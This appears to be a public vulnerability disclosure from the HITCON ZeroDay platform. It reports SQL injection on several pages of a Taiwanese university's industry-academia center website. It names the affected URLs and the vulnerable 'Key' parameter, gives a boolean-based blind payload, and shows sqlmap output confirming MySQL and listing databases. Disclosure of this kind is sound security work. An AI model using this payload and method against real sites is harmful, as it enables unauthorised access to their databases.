Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00339
- Vendor: 國立陽明大學
- Title: 国立陽明大学某站多处SQL
- Introduction: 国立陽明大学産学营运中心多处SQL
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/01 01:28:10 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/01 15:41:16 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/02 12:00:23 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/02 12:00:24 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/18 11:54:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/01 03:00:13 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00339
- 通報者:cra5h (Cra5h)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
http://ymbcial.ym.edu.tw/cooperation.php?Key=47
http://ymbcial.ym.edu.tw/feedback.php?Key=53
http://ymbcial.ym.edu.tw/innovation.php?Key=18
http://ymbcial.ym.edu.tw/patent.php?Key=38
http://ymbcial.ym.edu.tw/property.php?Key=33
http://ymbcial.ym.edu.tw/service.php?Key=50
http://ymbcial.ym.edu.tw/table.php?Key=25
敘述
国立陽明大学産学营运中心SQL
SQL位置:
第一处:
http://ymbcial.ym.edu.tw/about.php?Key=7
key参数过滤不严导致SQL注入产生
GET parameter 'Key' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
Parameter: Key (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Key=7 AND 4331=4331
[01:20:52] [INFO] testing MySQL
[01:21:01] [INFO] confirming MySQL
[01:21:04] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL < 5.0.0
[01:21:04] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\ymbcial.ym.edu.tw'
确认影响库(2个):
[01:21:18] [WARNING] informationschema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
[01:21:18] [INFO] fetching number of databases
[01:21:18] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[01:21:18] [INFO] retrieved: 2
[01:21:23] [INFO] retrieved: test
[01:21:46] [INFO] retrieved: test_%
available databases [2]:
[*] `test\%`
[*] test
[01:22:33] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\ymbcial.ym.edu.tw'
修補建議
过滤,参数化